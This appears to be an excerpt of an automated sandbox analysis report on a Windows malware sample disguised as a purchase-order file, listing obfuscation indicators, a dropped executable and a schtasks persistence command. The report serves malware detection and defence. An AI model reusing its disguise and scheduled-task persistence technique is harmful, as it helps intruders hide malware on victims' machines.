Source: C:\Windows\SysWOW64\runas.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source: Pre Alert PO TVKJEANSA00967.bat.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Pre Alert PO TVKJEANSA00967.bat.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Pre Alert PO TVKJEANSA00967.bat.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: runas.pdbGCTL source: RegSvcs.exe, 00000008.00000002.2069389047.00000000010F8000.00000004.00000020.00020000.00000000.sdmp, nhClcdOjQwJ.exe, 00000011.00000002.2942271175.000000000051E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: nhClcdOjQwJ.exe, 00000011.00000000.1994231473.000000000004E000.00000002.00000001.01000000.0000000D.sdmp, nhClcdOjQwJ.exe, 00000013.00000002.2941482691.000000000004E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: RegSvcs.pdb, source: runas.exe, 00000012.00000002.2943817151.0000000004ADC000.00000004.10000000.00040000.00000000.sdmp, runas.exe, 00000012.00000002.2941572830.0000000000567000.00000004.00000020.00020000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000000.2137618964.0000000002E4C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000014.00000002.2364882227.00000000213EC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000008.00000002.2069759006.0000000001560000.00000040.00001000.00020000.00000000.sdmp, runas.exe, 00000012.00000003.2069287148.0000000004154000.00000004.00000020.00020000.00000000.sdmp, runas.exe, 00000012.00000002.2943233572.00000000044B0000.00000040.00001000.00020000.00000000.sdmp, runas.exe, 00000012.00000003.2071135298.0000000004306000.00000004.00000020.00020000.00000000.sdmp, runas.exe, 00000012.00000002.2943233572.000000000464E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000008.00000002.2069759006.0000000001560000.00000040.00001000.00020000.00000000.sdmp, runas.exe, runas.exe, 00000012.00000003.2069287148.0000000004154000.00000004.00000020.00020000.00000000.sdmp, runas.exe, 00000012.00000002.2943233572.00000000044B0000.00000040.00001000.00020000.00000000.sdmp, runas.exe, 00000012.00000003.2071135298.0000000004306000.00000004.00000020.00020000.00000000.sdmp, runas.exe, 00000012.00000002.2943233572.000000000464E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: QIoK.pdb source: Pre Alert PO TVKJEANSA00967.bat.exe, STiokuWkiGFJ.exe.0.dr
Source:	Binary string: RegSvcs.pdb source: runas.exe, 00000012.00000002.2943817151.0000000004ADC000.00000004.10000000.00040000.00000000.sdmp, runas.exe, 00000012.00000002.2941572830.0000000000567000.00000004.00000020.00020000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000000.2137618964.0000000002E4C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000014.00000002.2364882227.00000000213EC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: QIoK.pdbSHA256 source: Pre Alert PO TVKJEANSA00967.bat.exe, STiokuWkiGFJ.exe.0.dr
Source:	Binary string: runas.pdb source: RegSvcs.exe, 00000008.00000002.2069389047.00000000010F8000.00000004.00000020.00020000.00000000.sdmp, nhClcdOjQwJ.exe, 00000011.00000002.2942271175.000000000051E000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.56c0000.4.raw.unpack, id.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3ed5828.1.raw.unpack, id.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, yWL2O9p29XpAZecQVf.cs	.Net Code: lJKwEEFCCA System.Reflection.Assembly.Load(byte[])
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, yWL2O9p29XpAZecQVf.cs	.Net Code: lJKwEEFCCA System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Code function: 0_2_0133C56B push cs; retf	0_2_0133C56E
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Code function: 0_2_0133C7D3 push es; retf	0_2_0133C7D6
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Code function: 0_2_0133C653 push cs; retf	0_2_0133C656
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Code function: 0_2_01334659 push edx; retf 0002h	0_2_0133465A
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Code function: 0_2_013346BB push edx; retf 0002h	0_2_013346BE
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Code function: 0_2_0133C6AB push cs; retf	0_2_0133C6AE
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Code function: 0_2_01335F28 pushad ; retf 0002h	0_2_01336109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00414A13 push edi; retf	8_2_00414A14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0041837B pushad ; retf	8_2_0041837C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040D30D push 0CC2BE08h; iretd	8_2_0040D335
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004073F6 push 0000003Ch; iretd	8_2_004073F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00403510 push eax; ret	8_2_00403512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00401F55 push esi; iretd	8_2_00401F58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0156225F pushad ; ret	8_2_015627F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015627FA pushad ; ret	8_2_015627F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015909AD push ecx; mov dword ptr [esp], ecx	8_2_015909B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0156283D push eax; iretd	8_2_01562858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0156135E push eax; iretd	8_2_01561369
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EFC54F push 8B00E867h; ret	14_2_00EFC554
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EFC54D pushfd ; ret	14_2_00EFC54E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EFC9D7 push edi; ret	14_2_00EFC9D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EB09AD push ecx; mov dword ptr [esp], ecx	14_2_00EB09B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00E81368 push eax; iretd	14_2_00E81369
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00F07E99 push ecx; ret	14_2_00F07EAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00E81FEC push eax; iretd	14_2_00E81FED
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044B27FA pushad ; ret	18_2_044B27F9
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044B225F pushad ; ret	18_2_044B27F9
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044B283D push eax; iretd	18_2_044B2858
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044E09AD push ecx; mov dword ptr [esp], ecx	18_2_044E09B6
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0050C191 push edi; retf	18_2_0050C194
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_00510811 push edi; retf	18_2_00510813

Source: Pre Alert PO TVKJEANSA00967.bat.exe	Static PE information: section name: .text entropy: 7.830225763539746
Source: STiokuWkiGFJ.exe.0.dr	Static PE information: section name: .text entropy: 7.830225763539746

Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, tdcDZMypNH7PsaTCGo.cs	High entropy of concatenated method names: 'H6JVaXkxc3', 'Iq1VgETuyl', 'WtlVowIyeC', 'PjEV5H1LOp', 'AJqVBPnKY2', 'LoFVtpXadO', 'eGBVv7v6IK', 'JFVVJJRCoA', 'E07VM7YseP', 'RXNVH2S04g'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, xrInpeof3ckfb86fea.cs	High entropy of concatenated method names: 'XPgXnF9l5g', 'IulX0DmRF7', 'FmbXbRSfwG', 'y48X8ZtMeL', 'd25XpdijKu', 'bB6bitPuBk', 'eqab9BLtEK', 'pZIbelQyTX', 'XacbLYGDMJ', 'DnvbIfktYO'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, M3QGeQ5V12q50oqTBB.cs	High entropy of concatenated method names: 'PebWXUn1y0rR0gtWLO1', 'xla6j4nEQwaRM3tX44f', 'uBAX4qSdKQ', 'mgyXfU1HcU', 'EgmXsqvHw8', 'g5CsvcnuIgFZmctTH21', 'EIhk9TnFS74dIUGy29H'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, aQhDVYZZFMpEXCVf19P.cs	High entropy of concatenated method names: 'w01sqWwDYX', 'NjIszLMuZo', 'dHQC2Nxos6', 'JZYCZlS8Dd', 'A3mCNLgnLG', 'kK5Ch817kC', 'R7yCwSXFsh', 'YDFCnqM8se', 'rEaC1T11XY', 'q5xC00xwEI'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, yV0CmLZwt7NHJnaqf2U.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'L39xfdWqVB', 'bGfxsDeWwQ', 'Pw3xCFM7w6', 'NgexxQWcB5', 'HA4xSBgybn', 'KxpxUgDgZH', 'GYRxdVljoY'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, sMVw2TvGvGBQ4b3d1C.cs	High entropy of concatenated method names: 'DVn810Qrte', 'Isi8D5i9r2', 'Mcg8XKZl5Y', 'YYnXqxsU9Q', 'xRKXzkiPhE', 'g7s82K4ORE', 'yms8ZgsyiM', 'Mis8NKyr4B', 'rhU8hgWQkN', 'QWC8wbaEsK'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, NVM2dOjp1O3yFqPMB9.cs	High entropy of concatenated method names: 'A638WcA5MV', 'CCc8QZoQQ2', 'hbG8EiAELx', 'D7K8GGle67', 'OAV87xMx1O', 'rEh8OksbYt', 'bA18cD8ZqH', 'V0U8aspjIV', 'Uk28gouG6W', 'M428rqLb2f'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, UXq1PwgSddWZQg1sZM.cs	High entropy of concatenated method names: 'lUfDGLKp4Q', 'xjWDOGgICk', 'NMhDap9wq3', 'B5hDgZIIbI', 'sNrDFCWoZF', 'gZwDAOP5ol', 'IQpD35jIrq', 'MDsD4OIBkK', 'txqDfyJMgi', 'HgDDsdeqYE'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, pFSoN1z3pxWU5hdNRQ.cs	High entropy of concatenated method names: 'vPVsOpjw1f', 'Pi8saKAAXd', 'igRsg7HxxM', 'ntvso2DknO', 'pFus5rejTl', 'X52sBKUWg2', 'VI7stcVJk2', 'lk3sddsEpa', 'YnnsWoKP8N', 'AVAsQA8fJr'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, dD6GVGel8bIfjJyH7L.cs	High entropy of concatenated method names: 'MjEfFuOgJ5', 'TGjf3753e1', 'PCKff9kTN5', 'wLTfCYrfw2', 'bNLfSmaIa9', 'HaGfd5Qqj5', 'Dispose', 'Fy7415ER9x', 'RxM40W5AKL', 'c8A4DalSc4'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, dCWYAFqcdDpAFf8lJt.cs	High entropy of concatenated method names: 'oRosDiZwkO', 'FyusbBZ8RV', 'Fl9sXBnGV9', 'Vvhs88SGV8', 'zJlsfDfOma', 'llCsp3TmkH', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, LPA1IJuLJBxY70yDDT.cs	High entropy of concatenated method names: 'ToString', 'WhfAHQFiCW', 'jCsA5yVJ2p', 'tBAAmuTjab', 'DT2ABXK3kg', 'i3GAtYbDSF', 'MILAk2k7ND', 'WhWAv2bNgj', 'gnrAJ64qip', 'W1oAjm6Wnx'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, KTGL4SwXccYyCYLGV0.cs	High entropy of concatenated method names: 'Oh3Z8RBbpx', 'G88Zp5KWSe', 'dSdZ6dWZQg', 'fsZZYM4QVr', 'J4HZFnKWrI', 'epeZAf3ckf', 'ROxQi0bneSi55S6AC7', 'LU9y5YoV8WYMbKeW4N', 'LSBZZiKEdI', 'tTLZhfK9kA'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, POwgeGNxX5Om6Ffrsc.cs	High entropy of concatenated method names: 'PxAE7uKsO', 'BesG7Wg0W', 'eFTOUeHCU', 'a5Qc6mjI1', 'uQigB2P1J', 'OMJrXktXA', 'YceV0uIqKymQXOe1MU', 'ShI35Pxv4GGcQIGC5N', 'rO04CXoMS', 'JMIsWdG26'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, qRBbpxao885KWSeQTv.cs	High entropy of concatenated method names: 'VJ70TwABh2', 'zTU0R7kXZy', 'kgW0uiqnbh', 'lZh0PIs36O', 'Hhe0iQ9edl', 'Tkx097VSi4', 'vgY0e97oDg', 'BaR0LsMukl', 'DtW0IdNbTS', 'yCV0qe1cqU'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, yWL2O9p29XpAZecQVf.cs	High entropy of concatenated method names: 'WOMhnoPUDh', 'c9Zh1Tak1w', 'QJIh0wCekT', 'WtfhDX3PVI', 'E8mhb4rL3P', 'gZphX0KSO1', 'vQeh86x4jb', 'UPrhplhQAf', 'gfghlMxgMl', 'fRyh6UaBhA'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, o0L1oYTtJX6tuEJMB8.cs	High entropy of concatenated method names: 'fPVFMnTUNM', 'iQYFKTEeCk', 'AwwFTDvnuw', 'xMXFROS79B', 'sXqF5NC8cy', 'vmZFmtpftG', 'K7bFBmQu19', 'bd7Fto2ywn', 'WJ0FkWXkJI', 'eXtFvAtsYS'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, q4Pwbb0EbenHeorNd0.cs	High entropy of concatenated method names: 'Dispose', 'iIfZIjJyH7', 'y5ZN5bcxiL', 'lxI8vdLbj1', 'W4AZqFsa6P', 'vwGZzshncp', 'ProcessDialogKey', 'GHuN2ag8RX', 'z3hNZ1sSbk', 'PL5NNwCWYA'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, Sag8RXIE3h1sSbkKL5.cs	High entropy of concatenated method names: 'EPbfoVuNkI', 'SpCf5HiWUV', 'EGTfmTm7I4', 'qUAfBwBDLf', 'nBuftKPpDW', 'snqfkbPsfZ', 'kbAfvVFqH8', 'tb5fJ97OEK', 'rGcfjAikrg', 'NSvfMSIFt4'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, i7e9RTPBnEL3cyZlCg.cs	High entropy of concatenated method names: 'Idv36H7aa0', 'kSt3YBCeTJ', 'ToString', 'sVI31X7xLT', 'zGl30BO22W', 'p863DVrlcT', 'jUo3bCt6rK', 'GLa3XHscOv', 'iop38Yri5t', 'A4y3pErhCd'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, rQVr3OrkNTVjQt4HnK.cs	High entropy of concatenated method names: 'UTLb7d9fHL', 'EMbbc1TUrR', 'M7SDmoUB5V', 'zbtDB5Psq7', 'nTqDt1TQZA', 'gD3DkHIvMu', 'T7QDvqQjvl', 'BYlDJV8WWO', 'LxBDj41ZCr', 'KItDMTxgvv'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, LdK1519uUXtTWRlaaa.cs	High entropy of concatenated method names: 'CsY3LeQaZ5', 'uKv3q4PDtg', 'Tvo42UI2NW', 'VdD4ZArpTi', 'pCr3HsabtO', 'lyr3Kp3fAD', 'Bv13y1JPSU', 'KQZ3Tl9hDe', 'fLx3RyoUtQ', 'Y7d3uPL7IL'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, tdcDZMypNH7PsaTCGo.cs	High entropy of concatenated method names: 'H6JVaXkxc3', 'Iq1VgETuyl', 'WtlVowIyeC', 'PjEV5H1LOp', 'AJqVBPnKY2', 'LoFVtpXadO', 'eGBVv7v6IK', 'JFVVJJRCoA', 'E07VM7YseP', 'RXNVH2S04g'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, xrInpeof3ckfb86fea.cs	High entropy of concatenated method names: 'XPgXnF9l5g', 'IulX0DmRF7', 'FmbXbRSfwG', 'y48X8ZtMeL', 'd25XpdijKu', 'bB6bitPuBk', 'eqab9BLtEK', 'pZIbelQyTX', 'XacbLYGDMJ', 'DnvbIfktYO'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, M3QGeQ5V12q50oqTBB.cs	High entropy of concatenated method names: 'PebWXUn1y0rR0gtWLO1', 'xla6j4nEQwaRM3tX44f', 'uBAX4qSdKQ', 'mgyXfU1HcU', 'EgmXsqvHw8', 'g5CsvcnuIgFZmctTH21', 'EIhk9TnFS74dIUGy29H'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, aQhDVYZZFMpEXCVf19P.cs	High entropy of concatenated method names: 'w01sqWwDYX', 'NjIszLMuZo', 'dHQC2Nxos6', 'JZYCZlS8Dd', 'A3mCNLgnLG', 'kK5Ch817kC', 'R7yCwSXFsh', 'YDFCnqM8se', 'rEaC1T11XY', 'q5xC00xwEI'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, yV0CmLZwt7NHJnaqf2U.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'L39xfdWqVB', 'bGfxsDeWwQ', 'Pw3xCFM7w6', 'NgexxQWcB5', 'HA4xSBgybn', 'KxpxUgDgZH', 'GYRxdVljoY'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, sMVw2TvGvGBQ4b3d1C.cs	High entropy of concatenated method names: 'DVn810Qrte', 'Isi8D5i9r2', 'Mcg8XKZl5Y', 'YYnXqxsU9Q', 'xRKXzkiPhE', 'g7s82K4ORE', 'yms8ZgsyiM', 'Mis8NKyr4B', 'rhU8hgWQkN', 'QWC8wbaEsK'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, NVM2dOjp1O3yFqPMB9.cs	High entropy of concatenated method names: 'A638WcA5MV', 'CCc8QZoQQ2', 'hbG8EiAELx', 'D7K8GGle67', 'OAV87xMx1O', 'rEh8OksbYt', 'bA18cD8ZqH', 'V0U8aspjIV', 'Uk28gouG6W', 'M428rqLb2f'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, UXq1PwgSddWZQg1sZM.cs	High entropy of concatenated method names: 'lUfDGLKp4Q', 'xjWDOGgICk', 'NMhDap9wq3', 'B5hDgZIIbI', 'sNrDFCWoZF', 'gZwDAOP5ol', 'IQpD35jIrq', 'MDsD4OIBkK', 'txqDfyJMgi', 'HgDDsdeqYE'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, pFSoN1z3pxWU5hdNRQ.cs	High entropy of concatenated method names: 'vPVsOpjw1f', 'Pi8saKAAXd', 'igRsg7HxxM', 'ntvso2DknO', 'pFus5rejTl', 'X52sBKUWg2', 'VI7stcVJk2', 'lk3sddsEpa', 'YnnsWoKP8N', 'AVAsQA8fJr'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, dD6GVGel8bIfjJyH7L.cs	High entropy of concatenated method names: 'MjEfFuOgJ5', 'TGjf3753e1', 'PCKff9kTN5', 'wLTfCYrfw2', 'bNLfSmaIa9', 'HaGfd5Qqj5', 'Dispose', 'Fy7415ER9x', 'RxM40W5AKL', 'c8A4DalSc4'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, dCWYAFqcdDpAFf8lJt.cs	High entropy of concatenated method names: 'oRosDiZwkO', 'FyusbBZ8RV', 'Fl9sXBnGV9', 'Vvhs88SGV8', 'zJlsfDfOma', 'llCsp3TmkH', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, LPA1IJuLJBxY70yDDT.cs	High entropy of concatenated method names: 'ToString', 'WhfAHQFiCW', 'jCsA5yVJ2p', 'tBAAmuTjab', 'DT2ABXK3kg', 'i3GAtYbDSF', 'MILAk2k7ND', 'WhWAv2bNgj', 'gnrAJ64qip', 'W1oAjm6Wnx'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, KTGL4SwXccYyCYLGV0.cs	High entropy of concatenated method names: 'Oh3Z8RBbpx', 'G88Zp5KWSe', 'dSdZ6dWZQg', 'fsZZYM4QVr', 'J4HZFnKWrI', 'epeZAf3ckf', 'ROxQi0bneSi55S6AC7', 'LU9y5YoV8WYMbKeW4N', 'LSBZZiKEdI', 'tTLZhfK9kA'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, POwgeGNxX5Om6Ffrsc.cs	High entropy of concatenated method names: 'PxAE7uKsO', 'BesG7Wg0W', 'eFTOUeHCU', 'a5Qc6mjI1', 'uQigB2P1J', 'OMJrXktXA', 'YceV0uIqKymQXOe1MU', 'ShI35Pxv4GGcQIGC5N', 'rO04CXoMS', 'JMIsWdG26'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, qRBbpxao885KWSeQTv.cs	High entropy of concatenated method names: 'VJ70TwABh2', 'zTU0R7kXZy', 'kgW0uiqnbh', 'lZh0PIs36O', 'Hhe0iQ9edl', 'Tkx097VSi4', 'vgY0e97oDg', 'BaR0LsMukl', 'DtW0IdNbTS', 'yCV0qe1cqU'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, yWL2O9p29XpAZecQVf.cs	High entropy of concatenated method names: 'WOMhnoPUDh', 'c9Zh1Tak1w', 'QJIh0wCekT', 'WtfhDX3PVI', 'E8mhb4rL3P', 'gZphX0KSO1', 'vQeh86x4jb', 'UPrhplhQAf', 'gfghlMxgMl', 'fRyh6UaBhA'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, o0L1oYTtJX6tuEJMB8.cs	High entropy of concatenated method names: 'fPVFMnTUNM', 'iQYFKTEeCk', 'AwwFTDvnuw', 'xMXFROS79B', 'sXqF5NC8cy', 'vmZFmtpftG', 'K7bFBmQu19', 'bd7Fto2ywn', 'WJ0FkWXkJI', 'eXtFvAtsYS'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, q4Pwbb0EbenHeorNd0.cs	High entropy of concatenated method names: 'Dispose', 'iIfZIjJyH7', 'y5ZN5bcxiL', 'lxI8vdLbj1', 'W4AZqFsa6P', 'vwGZzshncp', 'ProcessDialogKey', 'GHuN2ag8RX', 'z3hNZ1sSbk', 'PL5NNwCWYA'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, Sag8RXIE3h1sSbkKL5.cs	High entropy of concatenated method names: 'EPbfoVuNkI', 'SpCf5HiWUV', 'EGTfmTm7I4', 'qUAfBwBDLf', 'nBuftKPpDW', 'snqfkbPsfZ', 'kbAfvVFqH8', 'tb5fJ97OEK', 'rGcfjAikrg', 'NSvfMSIFt4'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, i7e9RTPBnEL3cyZlCg.cs	High entropy of concatenated method names: 'Idv36H7aa0', 'kSt3YBCeTJ', 'ToString', 'sVI31X7xLT', 'zGl30BO22W', 'p863DVrlcT', 'jUo3bCt6rK', 'GLa3XHscOv', 'iop38Yri5t', 'A4y3pErhCd'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, rQVr3OrkNTVjQt4HnK.cs	High entropy of concatenated method names: 'UTLb7d9fHL', 'EMbbc1TUrR', 'M7SDmoUB5V', 'zbtDB5Psq7', 'nTqDt1TQZA', 'gD3DkHIvMu', 'T7QDvqQjvl', 'BYlDJV8WWO', 'LxBDj41ZCr', 'KItDMTxgvv'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, LdK1519uUXtTWRlaaa.cs	High entropy of concatenated method names: 'CsY3LeQaZ5', 'uKv3q4PDtg', 'Tvo42UI2NW', 'VdD4ZArpTi', 'pCr3HsabtO', 'lyr3Kp3fAD', 'Bv13y1JPSU', 'KQZ3Tl9hDe', 'fLx3RyoUtQ', 'Y7d3uPL7IL'

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

File created: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\STiokuWkiGFJ" /XML "C:\Users\user\AppData\Local\Temp\tmp63ED.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
